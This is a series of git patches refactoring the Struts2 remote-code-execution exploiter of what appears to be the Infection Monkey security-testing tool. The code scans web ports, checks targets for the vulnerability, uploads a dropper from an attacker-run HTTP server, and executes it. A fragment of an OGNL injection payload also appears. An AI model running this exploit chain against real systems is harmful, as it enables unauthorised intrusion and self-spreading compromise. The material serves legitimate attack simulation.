From bbd4adf2aef1d798e2573cd2c2a26f82ea1117ea Mon Sep 17 00:00:00 2001 From: Vakaris Date: Thu, 19 Jul 2018 13:42:01 +0300 Subject: [PATCH 1/7] Struts2 core functions --- infection_monkey/exploit/struts2.py | 201 +++++----------------------- 1 file changed, 36 insertions(+), 165 deletions(-) diff --git a/infection_monkey/exploit/struts2.py b/infection_monkey/exploit/struts2.py index c489a3784..395fe422a 100644 --- a/infection_monkey/exploit/struts2.py +++ b/infection_monkey/exploit/struts2.py @@ -9,11 +9,8 @@ import unicodedata import re import logging -from exploit import HostExploiter -from exploit.tools import get_target_monkey, get_monkey_depth -from tools import build_monkey_commandline, HTTPTools -from model import CHECK_COMMAND, POWERSHELL_HTTP_UPLOAD, WGET_HTTP_UPLOAD, ID_STRING, RDP_CMDLINE_HTTP, \ - DROPPER_ARG +from web_rce import WebRCE +import copy __author__ = "VakarisZ" @@ -21,167 +18,57 @@ LOG = logging.getLogger(__name__) DOWNLOAD_TIMEOUT = 300 -# Commands used to check if monkeys already exists -FIND_FILE = "ls %s" -class Struts2Exploiter(HostExploiter): +class Struts2Exploiter(WebRCE): _TARGET_OS_TYPE = ['linux', 'windows'] def __init__(self, host): super(Struts2Exploiter, self).__init__(host) - self._config = __import__('config').WormConfiguration - self.skip_exist = self._config.skip_exploit_if_file_exist - self.HTTP = [str(port) for port in self._config.HTTP_PORTS] def exploit_host(self): - dropper_path_linux = self._config.dropper_target_path_linux - dropper_path_win_32 = self._config.dropper_target_path_win_32 - dropper_path_win_64 = self._config.dropper_target_path_win_64 - - ports = self.get_exploitable_ports(self.host, self.HTTP, ["http"]) - + # We need a reference to the exploiter for WebRCE framework to use + exploiter = self.exploit + # Get open ports + ports = WebRCE.get_ports_w(self.host, self.HTTP, ["http"]) if not ports: - LOG.info("All web ports are closed on %r, skipping", self.host) return False - - for port in ports: - if port[1]: - current_host = "https://%s:%s" % (self.host.ip_addr, port[0]) - else: - current_host = "http://%s:%s" % (self.host.ip_addr, port[0]) + # Get urls to try to exploit + urls = WebRCE.build_potential_urls(self.host, ports) + vulnerable_urls = [] + for url in urls: # Get full URL - url = self.get_redirected(current_host) - LOG.info("Trying to exploit with struts2") - # Check if host is vulnerable and get host os architecture - if 'linux' in self.host.os['type']: - return self.exploit_linux(url, dropper_path_linux) - else: - return self.exploit_windows(url, [dropper_path_win_32, dropper_path_win_64]) - - def check_remote_file(self, host, path): - command = FIND_FILE % path - resp = self.exploit(host, command) - if 'No such file' in resp: + url = self.get_redirected(url) + if WebRCE.check_if_exploitable(exploiter, url): + vulnerable_urls.append(url) + self._exploit_info['vulnerable_urls'] = vulnerable_urls + if not vulnerable_urls: return False - else: + # We need to escape backslashes for our exploiter + config = copy.deepcopy(self._config) + config.dropper_target_path_win_32 = re.sub(r"\\", r"\\\\", config.dropper_target_path_win_32) + config.dropper_target_path_win_64 = re.sub(r"\\", r"\\\\", config.dropper_target_path_win_64) + + if self.skip_exist and WebRCE.check_remote_files(self.host, exploiter, vulnerable_urls[0], config): LOG.info("Host %s was already infected under the current configuration, done" % self.host) return True - def exploit_linux(self, url, dropper_path): - host_arch = Struts2Exploiter.check_exploit_linux(url) - if host_arch: - self.host.os['machine'] = host_arch - if url and host_arch: - LOG.info("Host is exploitable with struts2 RCE vulnerability") - # If monkey already exists and option not to exploit in that case is selected - if self.skip_exist and self.check_remote_file(url, dropper_path): - LOG.info("Host %s was already infected under the current configuration, done" % self.host) - return True - - src_path = get_target_monkey(self.host) - if not src_path: - LOG.info("Can't find suitable monkey executable for host %r", self.host) - return False - # create server for http download. - http_path, http_thread = HTTPTools.create_transfer(self.host, src_path) - if not http_path: - LOG.debug("Exploiter Struts2 failed, http transfer creation failed.") - return False - LOG.info("Started http server on %s", http_path) - - cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path) - - command = WGET_HTTP_UPLOAD % {'monkey_path': dropper_path, - 'http_path': http_path, 'parameters': cmdline} - - self.exploit(url, command) - - http_thread.join(DOWNLOAD_TIMEOUT) - http_thread.stop() - LOG.info("Struts2 exploit attempt finished") - - return True - - return False - - def exploit_windows(self, url, dropper_paths): - """ - :param url: Where to send malicious request - :param dropper_paths: [0]-monkey-windows-32.bat, [1]-monkey-windows-64.bat - :return: Bool. Successfully exploited or not - """ - host_arch = Struts2Exploiter.check_exploit_windows(url) - if host_arch: - self.host.os['machine'] = host_arch - if url and host_arch: - LOG.info("Host is exploitable with struts2 RCE vulnerability") - # If monkey already exists and option not to exploit in that case is selected - if self.skip_exist: - for dropper_path in dropper_paths: - if self.check_remote_file(url, re.sub(r"\\", r"\\\\", dropper_path)): - LOG.info("Host %s was already infected under the current configuration, done" % self.host) - return True - - src_path = get_target_monkey(self.host) - if not src_path: - LOG.info("Can't find suitable monkey executable for host %r", self.host) - return False - # Select the dir and name for monkey on the host - if "windows-32" in src_path: - dropper_path = dropper_paths[0] - else: - dropper_path = dropper_paths[1] - # create server for http download. - http_path, http_thread = HTTPTools.create_transfer(self.host, src_path) - if not http_path: - LOG.debug("Exploiter Struts2 failed, http transfer creation failed.") - return False - LOG.info("Started http server on %s", http_path) - - # We need to double escape backslashes. Once for payload, twice for command - cmdline = re.sub(r"\\", r"\\\\", build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path)) - - command = POWERSHELL_HTTP_UPLOAD % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path), - 'http_path': http_path, 'parameters': cmdline} - - backup_command = RDP_CMDLINE_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path), - 'http_path': http_path, 'parameters': cmdline, 'type': DROPPER_ARG} - - resp = self.exploit(url, command) - - if 'powershell is not recognized' in resp: - self.exploit(url, backup_command) - - http_thread.join(DOWNLOAD_TIMEOUT) - http_thread.stop() - LOG.info("Struts2 exploit attempt finished") - - return True - - return False - - @staticmethod - def check_exploit_windows(url): - resp = Struts2Exploiter.exploit(url, CHECK_COMMAND) - if resp and ID_STRING in resp: - if "64-bit" in resp: - return "64" - else: - return "32" - else: + if not WebRCE.set_host_arch(self.host, exploiter, vulnerable_urls[0]): return False - @staticmethod - def check_exploit_linux(url): - resp = Struts2Exploiter.exploit(url, CHECK_COMMAND) - if resp and ID_STRING in resp: - # Pulls architecture string - arch = re.search('(?<=Architecture:)\s+(\w+)', resp) - arch = arch.group(1) - return arch - else: + data = WebRCE.upload_monkey(self.host, config, exploiter, vulnerable_urls[0]) + + # We can't use 'if not' because response may be '' + if data is not False and data['response'] == False: return False + if WebRCE.change_permissions(self.host, vulnerable_urls[0], exploiter, data['path']) == False: + return False + + if WebRCE.execute_remote_monkey(self.host, vulnerable_urls[0], exploiter, data['path'], True) == False: + return False + + return True + @staticmethod def get_redirected(url): # Returns false if url is not right @@ -193,8 +80,7 @@ class Struts2Exploiter(HostExploiter): LOG.error("Can't reach struts2 server") return False - @staticmethod - def exploit(url, cmd): + def exploit(self, url, cmd): """ :param url: Full url to send request to :param cmd: Code to try and execute on host @@ -232,18 +118,3 @@ class Struts2Exploiter(HostExploiter): page = e.partial return page - - @staticmethod - def get_exploitable_ports(host, port_list, names): - candidate_services = {} - for name in names: - chosen_services = { - service: host.services[service] for service in host.services if - ('name' in host.services[service]) and (host.services[service]['name'] == name) - } - candidate_services.update(chosen_services) - - valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in port_list if - 'tcp-' + str(port) in candidate_services] - - return valid_ports From 6cb058eb1d325c05687caa704d8e82c43818ef1f Mon Sep 17 00:00:00 2001 From: Vakaris Date: Fri, 10 Aug 2018 15:04:23 +0300 Subject: [PATCH 2/7] Struts2 refactored for framework fixes --- infection_monkey/exploit/struts2.py | 26 +++++++++++--------------- 1 file changed, 11 insertions(+), 15 deletions(-) diff --git a/infection_monkey/exploit/struts2.py b/infection_monkey/exploit/struts2.py index 395fe422a..2b672f290 100644 --- a/infection_monkey/exploit/struts2.py +++ b/infection_monkey/exploit/struts2.py @@ -26,45 +26,39 @@ class Struts2Exploiter(WebRCE): super(Struts2Exploiter, self).__init__(host) def exploit_host(self): - # We need a reference to the exploiter for WebRCE framework to use - exploiter = self.exploit # Get open ports - ports = WebRCE.get_ports_w(self.host, self.HTTP, ["http"]) + ports = self.get_ports_w(self.HTTP, ["http"]) if not ports: return False # Get urls to try to exploit - urls = WebRCE.build_potential_urls(self.host, ports) + urls = self.build_potential_urls(ports) vulnerable_urls = [] for url in urls: # Get full URL url = self.get_redirected(url) - if WebRCE.check_if_exploitable(exploiter, url): + if self.check_if_exploitable(url): vulnerable_urls.append(url) self._exploit_info['vulnerable_urls'] = vulnerable_urls if not vulnerable_urls: return False - # We need to escape backslashes for our exploiter - config = copy.deepcopy(self._config) - config.dropper_target_path_win_32 = re.sub(r"\\", r"\\\\", config.dropper_target_path_win_32) - config.dropper_target_path_win_64 = re.sub(r"\\", r"\\\\", config.dropper_target_path_win_64) - if self.skip_exist and WebRCE.check_remote_files(self.host, exploiter, vulnerable_urls[0], config): + if self.skip_exist and self.check_remote_files(vulnerable_urls[0]): LOG.info("Host %s was already infected under the current configuration, done" % self.host) return True - if not WebRCE.set_host_arch(self.host, exploiter, vulnerable_urls[0]): + if not self.set_host_arch(vulnerable_urls[0]): return False - data = WebRCE.upload_monkey(self.host, config, exploiter, vulnerable_urls[0]) + data = self.upload_monkey(vulnerable_urls[0]) # We can't use 'if not' because response may be '' - if data is not False and data['response'] == False: + if data is not False and data['response'] is False: return False - if WebRCE.change_permissions(self.host, vulnerable_urls[0], exploiter, data['path']) == False: + if self.change_permissions(vulnerable_urls[0], data['path']) is False: return False - if WebRCE.execute_remote_monkey(self.host, vulnerable_urls[0], exploiter, data['path'], True) == False: + if self.execute_remote_monkey(vulnerable_urls[0], data['path'], True) is False: return False return True @@ -86,6 +80,8 @@ class Struts2Exploiter(WebRCE): :param cmd: Code to try and execute on host :return: response """ + cmd = re.sub(r"\\", r"\\\\", cmd) + cmd = re.sub(r"'", r"\\'", cmd) payload = "%%{(#_='multipart/form-data')." \ "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." \ "(#_memberAccess?" \ From 9ef44ef71f35cef2c3322cfdfc43ca2ca0b15d67 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Tue, 21 Aug 2018 12:31:50 +0300 Subject: [PATCH 3/7] Struts2 refactored to use default_exploit_host function --- infection_monkey/exploit/struts2.py | 65 +++++++++++++---------------- 1 file changed, 28 insertions(+), 37 deletions(-) diff --git a/infection_monkey/exploit/struts2.py b/infection_monkey/exploit/struts2.py index 2b672f290..387c4bfa8 100644 --- a/infection_monkey/exploit/struts2.py +++ b/infection_monkey/exploit/struts2.py @@ -10,7 +10,7 @@ import re import logging from web_rce import WebRCE -import copy +from posixpath import join __author__ = "VakarisZ" @@ -23,45 +23,36 @@ class Struts2Exploiter(WebRCE): _TARGET_OS_TYPE = ['linux', 'windows'] def __init__(self, host): - super(Struts2Exploiter, self).__init__(host) + super(Struts2Exploiter, self).__init__(host, None) def exploit_host(self): - # Get open ports - ports = self.get_ports_w(self.HTTP, ["http"]) - if not ports: - return False - # Get urls to try to exploit - urls = self.build_potential_urls(ports) - vulnerable_urls = [] - for url in urls: - # Get full URL - url = self.get_redirected(url) - if self.check_if_exploitable(url): - vulnerable_urls.append(url) - self._exploit_info['vulnerable_urls'] = vulnerable_urls - if not vulnerable_urls: - return False + return self.default_exploit_host(dropper=True) - if self.skip_exist and self.check_remote_files(vulnerable_urls[0]): - LOG.info("Host %s was already infected under the current configuration, done" % self.host) - return True - - if not self.set_host_arch(vulnerable_urls[0]): - return False - - data = self.upload_monkey(vulnerable_urls[0]) - - # We can't use 'if not' because response may be '' - if data is not False and data['response'] is False: - return False - - if self.change_permissions(vulnerable_urls[0], data['path']) is False: - return False - - if self.execute_remote_monkey(vulnerable_urls[0], data['path'], True) is False: - return False - - return True + def build_potential_urls(self, ports, extensions=None): + """ + We need to override this method to get redirected url's + :param ports: Array of ports. One port is described as size 2 array: [port.no(int), isHTTPS?(bool)] + Eg. ports: [[80, False], [443, True]] + :param extensions: What subdirectories to scan. www.domain.com[/extension] + :return: Array of url's to try and attack + """ + url_list = [] + if extensions: + extensions = [(e[1:] if '/' == e[0] else e) for e in extensions] + else: + extensions = [""] + for port in ports: + for extension in extensions: + if port[1]: + protocol = "https" + else: + protocol = "http" + url = join(("%s://%s:%s" % (protocol, self.host.ip_addr, port[0])), extension) + redirected_url = self.get_redirected(url) + url_list.append(redirected_url) + if not url_list: + LOG.info("No attack url's were built") + return url_list @staticmethod def get_redirected(url): From df4b1268d13f55218c3354bb6f827c1382f48870 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Wed, 22 Aug 2018 14:33:00 +0300 Subject: [PATCH 4/7] Refactored struts2 to overload get_exploit_config --- infection_monkey/exploit/struts2.py | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/infection_monkey/exploit/struts2.py b/infection_monkey/exploit/struts2.py index 387c4bfa8..f6ede586f 100644 --- a/infection_monkey/exploit/struts2.py +++ b/infection_monkey/exploit/struts2.py @@ -25,8 +25,10 @@ class Struts2Exploiter(WebRCE): def __init__(self, host): super(Struts2Exploiter, self).__init__(host, None) - def exploit_host(self): - return self.default_exploit_host(dropper=True) + def get_exploit_config(self): + exploit_config = super(Struts2Exploiter, self).get_exploit_config() + exploit_config['dropper'] = True + return exploit_config def build_potential_urls(self, ports, extensions=None): """ @@ -47,7 +49,7 @@ class Struts2Exploiter(WebRCE): protocol = "https" else: protocol = "http" - url = join(("%s://%s:%s" % (protocol, self.host.ip_addr, port[0])), extension) + url = join(("%s://%s:%s/" % (protocol, self.host.ip_addr, port[0])), extension) redirected_url = self.get_redirected(url) url_list.append(redirected_url) if not url_list: From ef4eadf64a6c290203177a4f1655363114cc26b5 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Thu, 23 Aug 2018 13:51:11 +0300 Subject: [PATCH 5/7] struts built_potential_url's now use map function to save code --- infection_monkey/exploit/struts2.py | 18 ++---------------- 1 file changed, 2 insertions(+), 16 deletions(-) diff --git a/infection_monkey/exploit/struts2.py b/infection_monkey/exploit/struts2.py index f6ede586f..867ab92fa 100644 --- a/infection_monkey/exploit/struts2.py +++ b/infection_monkey/exploit/struts2.py @@ -38,22 +38,8 @@ class Struts2Exploiter(WebRCE): :param extensions: What subdirectories to scan. www.domain.com[/extension] :return: Array of url's to try and attack """ - url_list = [] - if extensions: - extensions = [(e[1:] if '/' == e[0] else e) for e in extensions] - else: - extensions = [""] - for port in ports: - for extension in extensions: - if port[1]: - protocol = "https" - else: - protocol = "http" - url = join(("%s://%s:%s/" % (protocol, self.host.ip_addr, port[0])), extension) - redirected_url = self.get_redirected(url) - url_list.append(redirected_url) - if not url_list: - LOG.info("No attack url's were built") + url_list = super(Struts2Exploiter, self).build_potential_urls(ports) + url_list = list(map(self.get_redirected, url_list)) return url_list @staticmethod From 1c5c010028d8e680200bbce441c94f0a4db6968f Mon Sep 17 00:00:00 2001 From: Vakaris Date: Thu, 23 Aug 2018 14:37:31 +0300 Subject: [PATCH 6/7] More pythonic and clean way to apply function to url_list --- infection_monkey/exploit/struts2.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/infection_monkey/exploit/struts2.py b/infection_monkey/exploit/struts2.py index 867ab92fa..ae0bdd948 100644 --- a/infection_monkey/exploit/struts2.py +++ b/infection_monkey/exploit/struts2.py @@ -39,7 +39,7 @@ class Struts2Exploiter(WebRCE): :return: Array of url's to try and attack """ url_list = super(Struts2Exploiter, self).build_potential_urls(ports) - url_list = list(map(self.get_redirected, url_list)) + url_list = [self.get_redirected(url) for url in url_list] return url_list @staticmethod From 3ff823ab04dff792ea87e99a906e1fe2f1b19ead Mon Sep 17 00:00:00 2001 From: Vakaris Date: Thu, 23 Aug 2018 15:06:58 +0300 Subject: [PATCH 7/7] Removed unused import statement --- infection_monkey/exploit/struts2.py | 1 - 1 file changed, 1 deletion(-) diff --git a/infection_monkey/exploit/struts2.py b/infection_monkey/exploit/struts2.py index ae0bdd948..fe4a73c09 100644 --- a/infection_monkey/exploit/struts2.py +++ b/infection_monkey/exploit/struts2.py @@ -10,7 +10,6 @@ import re import logging from web_rce import WebRCE -from posixpath import join __author__ = "VakarisZ"